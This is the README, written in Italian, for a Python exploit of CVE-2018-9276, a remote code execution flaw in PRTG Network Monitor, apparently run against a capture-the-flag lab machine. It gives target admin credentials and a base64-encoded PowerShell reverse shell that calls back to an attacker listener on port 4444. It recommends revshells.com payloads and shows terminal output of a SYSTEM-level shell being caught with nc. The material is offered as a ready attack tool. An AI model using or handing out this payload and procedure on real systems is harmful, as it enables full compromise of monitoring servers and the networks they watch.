
Python Exploit per CVE: 2018-9276
Autenticata esecuzione remota di codice in PRTG Network Monitor
Basato su https://www.exploit-db.com/exploits/46527
Utilizzo: modifica manualmente lo script per includere l'URL del target, il nome utente admin e la password come segue:
TARGET = "http://10.129.15.52"
USER = "prtgadmin"
PASS = "PrTg@dmin2019"
Poi inserisci qualsiasi comando tu voglia eseguire alla riga 110. Ti consiglio di inserire una reverse shell codificata in base64 da revshells.com per una connessione istantanea di ritorno al tuo listener.
Nota: ho lasciato la variabile CMD vuota nel script in modo che tu possa personalizzarla come desideri.
CMD = "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA1AC4AOQAzACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="
Esegui semplicemente lo script senza flag e dovresti ricevere una connessione di ritorno sul tuo listener
┌──(root㉿user)-[/run/…/user/2024/HTBox/jerry]
└─# python3 CVE-2018-9276.py
[*] Tentativo di login come: prtgadmin
[+] Login riuscito
[*] Creazione notifica dannosa...
[+] Notifica creata. ID: 2019
[*] Attivazione test notifica...
[+] Payload accodato con successo.
[*] Eliminazione notifica 2019...
[+] Pulizia completata.
[*] Ciclo exploit terminato. Controlla il target.
┌──(root㉿user)-[/home/user]
└─# rlwrap nc -lvnp 4444
in ascolto su [any] 4444 ...
connessione da [10.10.15.93] (UNKNOWN) [10.129.15.52] 50466
whoami
nt authority\system
PS C:\Windows\system32>
Ho notato che non esisteva uno script Python per questo exploit, quindi ho pensato che fosse una buona idea metterne insieme uno.